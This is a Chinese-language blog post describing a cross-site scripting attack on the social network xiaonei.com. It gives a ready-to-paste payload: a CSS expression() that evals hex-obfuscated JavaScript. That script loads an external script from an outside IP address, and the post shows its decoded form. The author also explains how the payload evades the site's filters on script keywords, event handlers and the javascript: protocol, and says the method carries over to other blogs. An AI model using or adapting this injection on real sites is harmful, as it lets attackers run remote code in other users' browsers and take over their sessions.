[原创]校内网导入外部Javascript脚本跨站

弄了3个时辰~~痛苦不堪回首~~js基础太差,被51js.com上的高手鄙视了好久。

1. 在你的 校内网 涂鸦版里插入以下代码:

<span id=spantarget></span>
<span id="jsInject" style="color:expression(eval(' \\\x74\\\x72\\\x79\\\x7B\\\x65\\\x73\\\x74\\\x2B\\\x2B\\\x3B\\\x7D\\\x63\\\x61\\\x74\\\x63\\\x68\\\x28\\\x65\\\x29\\\x7B\\\x65\\\x73\\\x74\\\x3D\\\x30\\\x3B\\\x7D\\\x3B\\\x69\\\x66\\\x20\\\x28\\\x65\\\x73\\\x74\\\x3C\\\x31\\\x29\\\x7B\\\x76\\\x61\\\x72\\\x20\\\x6F\\\x4A\\\x53\\\x3D\\\x64\\\x6F\\\x63\\\x75\\\x6D\\\x65\\\x6E\\\x74\\\x2E\\\x63\\\x72\\\x65\\\x61\\\x74\\\x65\\\x45\\\x6C\\\x65\\\x6D\\\x65\\\x6E\\\x74\\\x28\\\x27\\\x73\\\x63\\\x72\\\x69\\\x70\\\x74\\\x27\\\x29\\\x3B\\\x6F\\\x4A\\\x53\\\x2E\\\x73\\\x72\\\x63\\\x3D\\\x27\\\x68\\\x74\\\x74\\\x70\\\x3A\\\x2F\\\x2F\\\x32\\\x30\\\x32\\\x2E\\\x31\\\x31\\\x35\\\x2E\\\x32\\\x32\\\x2E\\\x31\\\x34\\\x31\\\x2F\\\x65\\\x73\\\x74\\\x2F\\\x78\\\x69\\\x61\\\x6F\\\x6E\\\x65\\\x69\\\x2E\\\x6A\\\x73\\\x27\\\x3B\\\x73\\\x70\\\x61\\\x6E\\\x74\\\x61\\\x72\\\x67\\\x65\\\x74\\\x2E\\\x61\\\x70\\\x70\\\x65\\\x6E\\\x64\\\x43\\\x68\\\x69\\\x6C\\\x64\\\x28\\\x6F\\\x4A\\\x53\\\x29\\\x3B\\\x7D ') )"></span>

其中转义字符为:

try{est++;}catch(e){est=0;};if (est<1){var oJS=document.createElement('script');oJS.src='http://202.115.22.141/est/xiaonei.js';spantarget.appendChild(oJS);}

2. 用到的外部javascript:

alert('External Javascript loaded!');
jsInject.cssText="";
alert('Expression stoped');

原创辛苦啊~~太累了!!!!严重影响了我的半期复习!!我简直再也不想摸javascript了~~~

主要原因也是xiaonei.com把脚本封得太严了,script被当作关键词过滤, & 被转义了,onload等所有事件也被过滤,javascript: 协议被删除了 script 关键词。很多都没法用。

我会把我的blog用ajax集成到我的校内网的,呵呵。

其实,这个弄懂了,很多blog也支持CSS修改,一样的可以插入外部javascript的。

Comments